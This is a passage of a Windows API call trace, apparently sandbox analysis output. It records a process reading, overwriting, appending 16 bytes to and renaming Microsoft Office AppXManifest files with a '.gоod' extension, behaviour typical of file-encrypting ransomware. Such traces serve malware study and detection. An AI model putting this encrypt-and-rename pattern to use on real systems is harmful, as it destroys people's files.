Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml", nBufferLength=0x105, lpBuffer=0x1feecd90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml", lpFilePart=0x0) returned 0x68 [0124.564] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed2b0) returned 1 [0124.564] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0057-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x63c [0124.564] GetFileType (hFile=0x63c) returned 0x1 [0124.564] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed220) returned 1 [0124.564] GetFileType (hFile=0x63c) returned 0x1 [0124.564] ReadFile (in: hFile=0x63c, lpBuffer=0x3621180, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1feed388, lpOverlapped=0x0 | out: lpBuffer=0x3621180*, lpNumberOfBytesRead=0x1feed388*=0x1000, lpOverlapped=0x0) returned 1 [0124.869] CloseHandle (hObject=0x63c) returned 1 [0124.869] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml", nBufferLength=0x105, lpBuffer=0x1feecd90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml", lpFilePart=0x0) returned 0x68 [0124.869] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed2b0) returned 1 [0124.869] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0057-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x63c [0124.870] GetFileType (hFile=0x63c) returned 0x1 [0124.870] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed220) returned 1 [0124.870] GetFileType (hFile=0x63c) returned 0x1 [0124.870] WriteFile (in: hFile=0x63c, lpBuffer=0x34fb5d0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1feed438, lpOverlapped=0x0 | out: lpBuffer=0x34fb5d0*, lpNumberOfBytesWritten=0x1feed438*=0x1010, lpOverlapped=0x0) returned 1 [0124.870] CloseHandle (hObject=0x63c) returned 1 [0124.870] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml", nBufferLength=0x105, lpBuffer=0x1feecee0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml", lpFilePart=0x0) returned 0x68 [0124.870] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml.gоod", nBufferLength=0x105, lpBuffer=0x1feecee0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml.gоod", lpFilePart=0x0) returned 0x6d [0124.870] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed370) returned 1 [0124.870] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0057-0000-1000-0000000ff1ce.xml"), fInfoLevelId=0x0, lpFileInformation=0x1feed450 | out: lpFileInformation=0x1feed450*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xbf2f172d, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0xbf2f172d, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0x46a4dccf, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x53d31)) returned 1 [0124.870] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed330) returned 1 [0124.870] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0057-0000-1000-0000000ff1ce.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml.gоod" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0057-0000-1000-0000000ff1ce.xml.gоod")) returned 1 [0124.871] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml", nBufferLength=0x105, lpBuffer=0x1feecee0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml", lpFilePart=0x0) returned 0x68 [0124.871] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed3b0) returned 1 [0124.871] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-006e-0409-1000-0000000ff1ce.xml"), fInfoLevelId=0x0, lpFileInformation=0x355c308 | out: lpFileInformation=0x355c308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8394994f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8394994f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83ea71ba, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3a41)) returned 1 [0124.871] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed370) returned 1 [0124.871] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml", nBufferLength=0x105, lpBuffer=0x1feecd90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml", lpFilePart=0x0) returned 0x68 [0124.871] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed2b0) returned 1 [0124.871] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-006e-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x63c [0124.871] GetFileType (hFile=0x63c) returned 0x1 [0124.872] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed220) returned 1 [0124.872] GetFileType (hFile=0x63c) returned 0x1 [0124.872] SetFilePointer (in: hFile=0x63c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1feed408*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1feed408*=0) returned 0x1000 [0124.872] ReadFile (in: hFile=0x63c, lpBuffer=0x355c850, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1feed3d8, lpOverlapped=0x0 | out: lpBuffer=0x355c850*, lpNumberOfBytesRead=0x1feed3d8*=0x1000, lpOverlapped=0x0) returned 1 [0124.873] CloseHandle (hObject=0x63c) returned 1 [0124.873] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml", nBufferLength=0x105, lpBuffer=0x1feecd90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml", lpFilePart=0x0) returned 0x68 [0124.873] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed2b0) returned 1 [0124.873] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-006e-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x63c [0124.873] GetFileType (hFile=0x63c) returned 0x1 [0124.873] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed220) returned 1 [0124.873] GetFileType (hFile=0x63c) returned 0x1 [0124.873] SetFilePointer (in: hFile=0x63c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1feed408*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1feed408*=0) returned 0x3a41 [0124.873] WriteFile (in: hFile=0x63c, lpBuffer=0x355db80*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1feed2f8, lpOverlapped=0x0 | out: lpBuffer=0x355db80*, lpNumberOfBytesWritten=0x1feed2f8*=0x10, lpOverlapped=0x0) returned 1 [0124.874] CloseHandle (hObject=0x63c) returned 1 [0124.874] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml", nBufferLength=0x105, lpBuffer=0x1feecd90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml", lpFilePart=0x0) returned 0x68 [0124.874] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed2b0) returned 1 [0124.874] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-006e-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x63c [0124.874] GetFileType (hFile=0x63c) returned 0x1 [0124.874] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed220) returned 1 [0124.874] GetFileType (hFile=0x63c) returned 0x1 [0124.875] ReadFile (in: hFile=0x63c, lpBuffer=0x355fed8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1feed388, lpOverlapped=0x0 | out: lpBuffer=0x355fed8*, lpNumberOfBytesRead=0x1feed388*=0x1000, lpOverlapped=0x0) returned 1 [0124.902] CloseHandle (hObject=0x63c) returned 1 [0124.902] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml", nBufferLength=0x105, lpBuffer=0x1feecd90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml", lpFilePart=0x0) returned 0x68 [0124.902] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed2b0) returned 1 [0124.902] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-006e-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x63c [0124.902] GetFileType (hFile=0x63c) returned 0x1 [0124.902] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed220) returned 1 [0124.902] GetFileType (hFile=0x63c) returned 0x1 [0124.902] WriteFile (in: hFile=0x63c, lpBuffer=0x355eb98*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1feed438, lpOverlapped=0x0 | out: lpBuffer=0x355eb98*, lpNumberOfBytesWritten=0x1feed438*=0x1010, lpOverlapped=0x0) returned 1 [0124.902] CloseHandle (hObject=0x63c) returned 1 [0124.903] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml", nBufferLength=0x105, lpBuffer=0x1feecee0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml", lpFilePart=0x0) returned 0x68 [0124.903] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml.gоod", nBufferLength=0x105, lpBuffer=0x1feecee0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml.gоod", lpFilePart=0x0) returned 0x6d [0124.903] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed370) returned 1 [0124.903] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-006e-0409-1000-0000000ff1ce.xml"), fInfoLevelId=0x0, lpFileInformation=0x1feed450 | out: lpFileInformation=0x1feed450*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8394994f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8394994f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x46a9a189, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x3a51)) returned 1 [0124.903] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed330) returned 1 [0124.903] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-006e-0409-1000-0000000ff1ce.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml.gоod" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-006e-0409-1000-0000000ff1ce.xml.gоod")) returned 1 [0124.903] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml", nBufferLength=0x105, lpBuffer=0x1feecee0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml", lpFilePart=0x0) returned 0x68 [0124.903] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed3b0) returned 1 [0124.904] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0000-1000-0000000ff1ce.xml"), fInfoLevelId=0x0, lpFileInformation=0x35dd468 | out: lpFileInformation=0x35dd468*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x831d63af, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x831d63af, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83543a09, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x573e5)) returned 1 [0125.245] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed370) returned 1 [0125.245] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml", nBufferLength=0x105, lpBuffer=0x1feecd90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml", lpFilePart=0x0) returned 0x68 [0125.245] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed2b0) returned 1 [0125.245] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x63c [0125.245] GetFileType (hFile=0x63c) returned 0x1 [0125.245] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed220) returned 1 [0125.245] GetFileType (hFile=0x63c) returned 0x1 [0125.245] SetFilePointer (in: hFile=0x63c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1feed408*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1feed408*=0) returned 0x1000 [0125.245] ReadFile (in: hFile=0x63c, lpBuffer=0x35d9fe0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1feed3d8, lpOverlapped=0x0 | out: lpBuffer=0x35d9fe0*, lpNumberOfBytesRead=0x1feed3d8*=0x1000, lpOverlapped=0x0) returned 1 [0125.247] CloseHandle (hObject=0x63c) returned 1 [0125.247] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml", nBufferLength=0x105, lpBuffer=0x1feecd90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml", lpFilePart=0x0) returned 0x68 [0125.247] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed2b0) returned 1 [0125.247] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x63c [0125.248] GetFileType (hFile=0x63c) returned 0x1 [0125.248] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed220) returned 1 [0125.248] GetFileType (hFile=0x63c) returned 0x1 [0125.248] SetFilePointer (in: hFile=0x63c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1feed408*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1feed408*=0) returned 0x573e5 [0125.248] WriteFile (in: hFile=0x63c, lpBuffer=0x35db330*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1feed2f8, lpOverlapped=0x0 | out: lpBuffer=0x35db330*, lpNumberOfBytesWritten=0x1feed2f8*=0x10, lpOverlapped=0x0) returned 1 [0125.249] CloseHandle (hObject=0x63c) returned 1 [0125.249] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml", nBufferLength=0x105, lpBuffer=0x1feecd90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml", lpFilePart=0x0) returned 0x68 [0125.249] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed2b0) returned 1 [0125.249] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x63c [0125.250] GetFileType (hFile=0x63c) returned 0x1 [0125.250] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed220) returned 1 [0125.250] GetFileType (hFile=0x63c) returned 0x1 [0125.250] ReadFile (in: hFile=0x63c, lpBuffer=0x35de7f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1feed388, lpOverlapped=0x0 | out: lpBuffer=0x35de7f0*, lpNumberOfBytesRead=0x1feed388*=0x1000, lpOverlapped=0x0) returned 1 [0125.278] CloseHandle (hObject=0x63c) returned 1 [0125.279] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml", nBufferLength=0x105, lpBuffer=0x1feecd90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml", lpFilePart=0x0) returned 0x68 [0125.279] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed2b0) returned 1 [0125.279] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x63c [0125.279] GetFileType (hFile=0x63c) returned 0x1 [0125.279] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed220) returned 1 [0125.279] GetFileType (hFile=0x63c) returned 0x1 [0125.279] WriteFile (in: hFile=0x63c, lpBuffer=0x35dd4b0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1feed438, lpOverlapped=0x0 | out: lpBuffer=0x35dd4b0*, lpNumberOfBytesWritten=0x1feed438*=0x1010, lpOverlapped=0x0) returned 1 [0125.279] CloseHandle (hObject=0x63c) returned 1 [0125.279] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml", nBufferLength=0x105, lpBuffer=0x1feecee0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml", lpFilePart=0x0) returned 0x68 [0125.279] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml.gоod", nBufferLength=0x105, lpBuffer=0x1feecee0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml.gоod", lpFilePart=0x0) returned 0x6d [0125.279] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed370) returned 1 [0125.279] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0000-1000-0000000ff1ce.xml"), fInfoLevelId=0x0, lpFileInformation=0x1feed450 | out: lpFileInformation=0x1feed450*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x831d63af, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x831d63af, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x46e2da35, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x573f5)) returned 1 [0125.279] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed330) returned 1 [0125.280] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0000-1000-0000000ff1ce.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml.gоod" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0000-1000-0000000ff1ce.xml.gоod")) returned 1 [0125.280] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml", nBufferLength=0x105, lpBuffer=0x1feecee0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml", lpFilePart=0x0) returned 0x68 [0125.280] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed3b0) returned 1 [0125.280] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0409-1000-0000000ff1ce.xml"), fInfoLevelId=0x0, lpFileInformation=0x365ad70 | out: lpFileInformation=0x365ad70*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83e3474a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83e3474a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e80c2c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed)) returned 1 [0125.280] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed370) returned 1 [0125.281] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml", nBufferLength=0x105, lpBuffer=0x1feecd40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml", lpFilePart=0x0) returned 0x68 [0125.281] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed260) returned 1 [0125.281] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x63c [0125.281] GetFileType (hFile=0x63c) returned 0x1 [0125.281] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed1d0) returned 1 [0125.281] GetFileType (hFile=0x63c) returned 0x1 [0125.281] GetFileSize (in: hFile=0x63c, lpFileSizeHigh=0x1feed408 | out: lpFileSizeHigh=0x1feed408*=0x0) returned 0x4ed [0125.281] ReadFile (in: hFile=0x63c, lpBuffer=0x365b638, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1feed338, lpOverlapped=0x0 | out: lpBuffer=0x365b638*, lpNumberOfBytesRead=0x1feed338*=0x4ed, lpOverlapped=0x0) returned 1 [0125.544] CloseHandle (hObject=0x63c) returned 1 [0126.626] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed260) returned 1 [0126.626] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x618 [0126.627] GetFileType (hFile=0x618) returned 0x1 [0126.627] SetThreadErrorMode (dwNewMode=0x0, 